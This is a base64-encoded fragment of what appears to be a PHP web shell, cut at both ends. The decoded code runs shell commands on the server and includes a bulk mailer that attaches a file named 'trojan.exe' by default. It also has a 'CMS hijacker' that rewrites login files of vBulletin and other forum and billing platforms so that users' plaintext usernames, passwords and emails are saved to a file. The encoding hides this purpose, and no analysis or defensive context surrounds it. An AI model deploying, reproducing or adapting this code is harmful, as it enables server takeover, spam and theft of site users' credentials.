J2lucHV0U2l6ZScgPT4gJzYwJyksCid0ZDQnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdBdHRhY2ggRmlsZSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2F0dGFjaCcsICdpbnB1dFZhbHVlJyA9PiAkR0xPQkF
MU1snY3dkJ10uJ3Ryb2phbi5leGUnLCAnaW5wdXRTaXplJyA9PiAnNjAnKSwKJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsIC
dpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iN
jAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9T
VFsnaG9raTQnXSkmJigkX1BPU1RbJ2hva2k0J10gPT0gJz4+JykpewokbWFpbF90byA9ICRfUE9TVFsnaG9raTEnXTsKJG1haWxfZnJvbSA9ICRfUE9TVFsnaG9raTInXTsKJG1haWxfc3ViamVjdCA9ICRfUE9TVFsnaG9raTMnXTsKJG1haWxfY29
udGVudCA9ICRfUE9TVFsnaG9raTUnXTsKJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnaG9raTYnXTsKJG1haWxfYXR0YWNoID0gJF9QT1NUWydob2tpNyddOwppZihmaWx0ZXJfdmFyKCRtYWlsX3RvLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKX
sKaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpewokZmlsZSA9ICRtYWlsX2F0dGFjaDsKJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkZmlsZSk7CiRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnK
CRjb250ZW50KSk7CiR1aWQgPSBtZDUodW5pcWlkKHRpbWUoKSkpOwokZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7CiRoZWFkZXJzIC49ICJU
bzogIiAuICRtYWlsX3RvLiAiICggIi4kbWFpbF90by4iICkgXHJcbiI7CiRoZWFkZXJzIC49ICJSZXBseS1UbzogIi4kbWFpbF9mcm9tLiJcclxuIjsKJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1
cIiIuJHVpZC4iXCJcclxuXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOwokbW
FpbF9jb250ZW50IC49ICJDb250ZW50LXR5cGU6dGV4dC9wbGFpbjsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcclxuXHJcbiI7CiRtYWlsX2NvbnRlbnQgL
j0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi4kZmlsZW5hbWUu
IlwiXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1
lLiJcIlxyXG5cclxuIjsKJG1haWxfY29udGVudCAuPSAkY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOwp9ZWxzZXsKJGhlYWRlcnMgID0gIkZyb206ICIgLiAkbWFpbF9mcm9tLiAiICggIi4kbWFpbF
9mcm9tLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gJ1JlcGx5LVRvOiAnLiRtYWlsX2Zyb20uJycgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdDb250Z
W50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKfQppZihlbXB0eSgkY291
bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsKaWYoIWVtcHR5KCRtYWlsX2Zyb20pKXtlY2hvIF9fcHJlKCk7CmZvcigkaT0xOyRpPD0kY291bnRfbWFpbDskaSsrKXsKaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCw
kbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7Cn19ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgRnJvbSAhIik7fQp9ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgVG
8gISIpO30KfQplY2hvKCc8L2Rpdj4nKTsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2l6aXBlcigpewpob2tpaGVhZCgpOwpIb2tpTnVtKDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PHA+PGRpdiBjbGFzc
z0idHh0Zm9udF9oZWFkZXIiPnwgQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ3ppcGVyXCcsbnVsbCxudWxsLG51bGwsdGhpcy5kaXJ6aXAudmFsdWUsdGhpcy56aXBmaWxlLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZh
bHNlOyIgbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnaG9raTMnXSk/aHRtbHNwZWNpYWxjaGF
ycygkX1BPU1RbJ2hva2kzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+U2F2ZSBEaXI6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZS
IgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidob2tpLnppcCIgc2l6ZT0iNjAiLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9InppcGVyIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnaG9ra
TUnXSkgJiYgKCRfUE9TVFsnaG9raTUnXSA9PSAnPj4nKSl7CiRkaXJ6aXAgPSAkX1BPU1RbJ2hva2kzJ107CiR6aXBmaWxlID0gJF9QT1NUWydob2tpNCddOwppZigkR0xPQkFMU1snc3lzJ10hPSd1bml4JyYmX2hva2lfY2FuX3J1bkNvbW1hbmQo
dHJ1ZSx0cnVlKSl7Cmhva2lFeCgicG93ZXJzaGVsbCBDb21wcmVzcy1BcmNoaXZlIC1QYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLURlc3RpbmF0aW9uUGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWN
obyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiZfaG9raV9jYW5fcnVuQ2
9tbWFuZCh0cnVlLHRydWUpKXsKaG9raUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIiciKTsKZ
WNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKaWYoX19ob2tp
emlwZXIoJGRpcnppcCwgJHppcGZpbGUpKXsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOwp9ZWxzZXtlY2hvIF9fcHJlKCk
uJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQp9Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9faG9raXppcGVyKCRzb3VyY2UsJGRlc3RpbmF0aW
9uKXsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKXx8IWZpbGVfZXhpc3RzKCRzb3VyY2UpKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkemlwPW5ldyBaaXBBcmNoaXZlKCk7CglpZighJHppcC0+b3BlbigkZGVzdGluYXRpb24sWklQQVJDSElWR
To6Q1JFQVRFKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJHNvdXJjZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgkc291cmNlKSk7CglpZihpc19kaXIoJHNvdXJjZSk9PT10cnVlKXsKCQkkZmlsZXM9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9y
SXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QpOwoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJJGZpbGU9c3RyX3JlcGxhY2UoJ1x
cJywnLycsJGZpbGUpOwoJCQlpZihpbl9hcnJheShzdWJzdHIoJGZpbGUsc3RycnBvcygkZmlsZSwnLycpKzEpLGFycmF5KCcuJywnLi4nKSkpY29udGludWU7CgkJCSRmaWxlPXJlYWxwYXRoKCRmaWxlKTsKCQkJaWYoaXNfZGlyKCRmaWxlKT09PX
RydWUpewoJCQkJJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZS4nLycsJycsJGZpbGUuJy8nKSk7CgkJCX1lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7CgkJCQkkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlK
CRzb3VyY2UuJy8nLCcnLCRmaWxlKSxmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwoJCQl9CgkJfQoJfWVsc2UgaWYoaXNfZmlsZSgkc291cmNlKT09PXRydWUpewoJCSR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksZmlsZV9n
ZXRfY29udGVudHMoJHNvdXJjZSkpOwoJfQoJcmV0dXJuICR6aXAtPmNsb3NlKCk7Cn0KZnVuY3Rpb24gaG9raWRlemlwZXIoKXsKaG9raWhlYWQoKTsKSG9raU51bSg4LDksMTApOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjx
wPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ2RlemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXC
c+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5GaWxlOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcnppcCIgdmFsdWU9IicuKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pP2h0b
WxzcGVjaWFsY2hhcnMoJF9QT1NUWydob2tpMyddKTpodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkpLiciIHNpemU9IjYwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkV4dHJhY3QgVG86IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIg
bmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciIHNpemU9IjYwIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJ6aXBlciIgLz4KPC9mb3JtPjwvY2VudGVyPjwvcD4nOwppZihpc3NldCgkX1BPU1R
bJ2hva2k1J10pICYmICgkX1BPU1RbJ2hva2k1J10gPT0gJz4+JykpewokZGlyemlwID0gJF9QT1NUWydob2tpMyddOwokemlwZmlsZSA9ICRfUE9TVFsnaG9raTQnXTsKaWYoQCFpc19kaXIoJHppcGZpbGUpKXsKCUBta2RpcigkemlwZmlsZSwgMD
c3NywgdHJ1ZSk7Cn0KJGZpbmZvID0gIiI7CiRmaWxlX3R5cGUgPSAiIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpewokZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOwokZmlsZV90eXBlID0gQGZpbmZvX
2ZpbGUoJGZpbmZvLCAkZGlyemlwKTsKQGZpbmZvX2Nsb3NlKCRmaW5mbyk7Cn1lbHNlewoJaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSRmaWxlX3R5cGUgPSBob2tpRXgoJ2Zp
bGUgLWIgLS1taW1lLXR5cGUgJyAuICRkaXJ6aXApOwoJfQp9CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKaG9raUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICc
iLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLi
R6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiYhZW1wdHkoJGZpbGVfdHlwZSkmJl9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkmJihzdHJsZW4oaG9raUV4KCd3a
GljaCB1bnppcCcpKSA+IDB8fHN0cmxlbihob2tpRXgoJ3doaWNoIHRhcicpKSA+IDB8fHN0cmxlbihob2tpRXgoJ3doaWNoIGd1bnppcCcpKSA+IDApKXsKc3dpdGNoICgkZmlsZV90eXBlKSB7CgljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCWhv
a2lFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dW56aXAgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJYnJlYWs7CgljYXNlICdhcHBsaWNhdGlvbi94LXRhcic6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3ppcCc6IGNhc2UgJ2F
wcGxpY2F0aW9uL3gtZ3Rhcic6CgkJaWYoc3Ryc3RyKGJhc2VuYW1lKCRkaXJ6aXApLCAiLnRhci5neiIpfHxzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyIikpewoJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO3
RhciB4emYgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJCX1lbHNlewoJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO2d1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7CgkJfQoJYnJlYWs7Cn0KZWNob
yBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcp
OyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsKfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkkaXRzb2sgPSBmYWxzZTsKCWlmKGVtdHB5KCRmaWxlX3R5cGUpKXsKCQkkZmlsZV90eXBlID0gImFwcGx
pY2F0aW9uL3ppcCI7Cgl9Cglzd2l0Y2ggKCRmaWxlX3R5cGUpIHsKCQljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCQkkemlwID0gbmV3IFppcEFyY2hpdmU7CgkJCSRyZXMgPSAkemlwLT5vcGVuKCRkaXJ6aXApOwoJCQlpZiAoJHJlcykgewoJCQ
kJJHppcC0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCSR6aXAtPmNsb3NlKCk7CgkJCQkkaXRzb2sgPSB0cnVlOwoJCQl9CgkJYnJlYWs7CgkJY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlI
CdhcHBsaWNhdGlvbi94LWd0YXInOgoJCQlpZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6IikpewoJCQkJJG5ld19maWxlID0gJHppcGZpbGUgLicvJy4gYmFzZW5hbWUoJGRpcnppcCk7CgkJCQlAY29weSgkZGlyemlwLCAkbmV3
X2ZpbGUpOwoJCQkJJG5ld190YXIgPSBzdHJfcmVwbGFjZSgiLnRhci5neiIsICIudGFyIiwgJG5ld19maWxlKTsKCQkJCXRyeSB7CgkJCQkJJHAgPSBuZXcgUGhhckRhdGEoJG5ld19maWxlKTsKCQkJCQkkcC0+ZGVjb21wcmVzcygpOwoJCQkJCSR
waGFyID0gbmV3IFBoYXJEYXRhKCRuZXdfdGFyKTsKCQkJCQkkcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCQlAdW5saW5rKCRuZXdfZmlsZSk7CgkJCQkJQHVubGluaygkbmV3X3Rhcik7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2
F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9ZWxzZXsKCQkJCXRyeSB7CgkJCQkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRpcnppcCk7CgkJCQkJJHBoYXItPmV4dHJhY3RUbygkemlwZmlsZSk7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJC
X0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9CgkJYnJlYWs7Cgl9CmlmKCRpdHNvayl7CmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPGJyPicuJHppcGZpbGUuJzwvZm9udD4g
PGEgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiR6aXBmaWxlLidcJyk7Ij5bIFZpZXcgRm9sZGVyIF08L2E+PC9wPjwvY2VudGVyPic7Cn1lbHNle2VjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9
udCBjb2xvcj0icmVkIj5FUlJPUiEhIS4uLjwvZm9udD48L3A+PC9jZW50ZXI+Jzt9Cn0KfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWNtc2hpamFja2VyKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oNSw2LDcsOC
w5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPgo8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBIaWphY2tlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Ntc2hpamFja2VyXCcsbnVsb
Cx0aGlzLmNtc2hpLnZhbHVlLHRoaXMuc2F2ZXRvLnZhbHVlLFwnPj5cJyx0aGlzLmNtc3BhdGgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0
aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOwokY21fYXJyYXkgPSBhcnJheSgidmIiPT4idkJ1bGxldGluIiwid3AiPT4id29yZHByZXNzIiwiam9tIj0+Impvb21sYSIsIndobWNzIj0+IndobWNzIiwibXliYiI9PiJteWJiIiwiaXBiIj0+ImlwYm9
hcmQiLCJwaHBiYiI9PiJwaHBiYiIpOwpmb3JlYWNoKCRjbV9hcnJheSBhcyAka2V5PT4kdmFsKWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPic7CmVjaG8oIjwvc2VsZWN0PiIpOwplY2hvICcgUGF0aCBpbn
N0YWxsZWQgY21zOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNtc3BhdGgiIHBsYWNlaG9sZGVyPSJleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC92YnVsbGV0aW4vIj4KU2F2ZVRvOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9I
nRleHQiIG5hbWU9InNhdmV0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidob2tpLnR4dCI+PC9mb250Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRjbXMgPSAkX1BP
U1RbJ2hva2kxJ107CiRzYXZldG8gPSAkX1BPU1RbJ2hva2kyJ107CiRjbXNwYXRoID0gJF9QT1NUWydob2tpNCddOwppZighZW1wdHkoJGNtcykgQU5EICFlbXB0eSgkc2F2ZXRvKSBBTkQgJF9QT1NUWydob2tpNCddIEFORCAkX1BPU1RbJ2hva2k
zJ10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKaG9raUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pOwp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdm
V0byl7CnN3aXRjaCgkY21zKXsKY2FzZSAidmIiOgpoaWphY2t2QnVsbGV0aW4oJGNtc3BhdGgsJHNhdmV0byk7CmJyZWFrOwpjYXNlICJ3cCI6CmhpamFja3dwKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiam9tIjoKaGlqYWNrSm9vb
WxhKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAid2htY3MiOgpoaWphY2tXaG1jcygkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmNhc2UgIm15YmIiOgpoaWphY2tNeWJiKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiaXBi
IjoKaGlqYWNrSVBCKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAicGhwYmIiOgpoaWphY2tQSFBCQigkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmRlZmF1bHQ6CmVjaG8gImVycm9yISI7CmJyZWFrOwp9Cn0KZnVuY3Rpb24gaGlqYWN
rdkJ1bGxldGluKCRwYXRoLCRzYXZldG8pewokY29kZT0nJGhva2lfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fdXNlcm5hbWUiXSk7JGhva2lfcGFzc3dvcmQgPSAkdmJ1bGxldGluLT5HUENbInZiX2xvZ2
luX3Bhc3N3b3JkIl07JGhva2lfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9Ijskc3FsX3F1ZXJ5ID0gJHZidWxsZXRpbi0+ZGItPnF1ZXJ5X3JlYWQoIlNFTEVDVCAqIEZST00gIiAuIFRBQkxFX1BSRUZJWCAuICJ1c2VyIFdIRVJFIGB1c2VybmFtZWA9X
CciIC4gJGhva2lfdXNlcm5hbWUgLiAiXCciKTt3aGlsZSgkcm93ID0gJHZidWxsZXRpbi0+ZGItPmZldGNoX2FycmF5KCRzcWxfcXVlcnkpKXtpZihzdHJsZW4oJGhva2lfcGFzc3dvcmQpID4gMSBBTkQgc3RybGVuKCRob2tpX3VzZXJuYW1lKSA+
IDEpeyRmcDEgPSBAZm9wZW4oJGhva2lfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAxLCAkaG9raV91c2VybmFtZSAuIFwnIDogXCcgLiAgJGhva2lfcGFzc3dvcmQuIiAoIiAuICRyb3dbImVtYWlsIl0gLiAiKVxuIik7QGZjbG9zZSgkZnAxKTsgJGY
gPSBAZmlsZSgkaG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fSc7Ci
RjbGVhcnB3ID0gJ2RlZmluZWQoXCdESVNBQkxFX1BBU1NXT1JEX0NMRUFSSU5HXCcpJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW4gPSAkcGF0aC4iL2xvZ2luLnBocCI7CiRjbGFzcyA9I
CRwYXRoLiIvaW5jbHVkZXMvY2xhc3NfYm9vdHN0cmFwLnBocCI7CiRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsKJGV2aWxfbG9naW4gPSAiXHQiLiRjb2RlLiJcblx0Ii4kZG9sb2dpbjsKJGV2aWxfY2xhc3MgPSAidHJ1ZSI7Cmlm
KChAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSkgfHwgKEBpc19maWxlKCRjbGFzcykgQU5EIEBpc193cml0YWJsZSgkY2xhc3MpKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CiRkYXR
hX2NsYXNzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjbGFzcyk7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIHx8IHN0cnN0cigkZGF0YV9jbGFzcywgJGNsZWFycHcpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZG9sb2
dpbiwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwokY2xhc3NfcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRjbGVhcnB3LCRldmlsX2NsYXNzLCAkZGF0YV9jbGFzcyk7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKQ
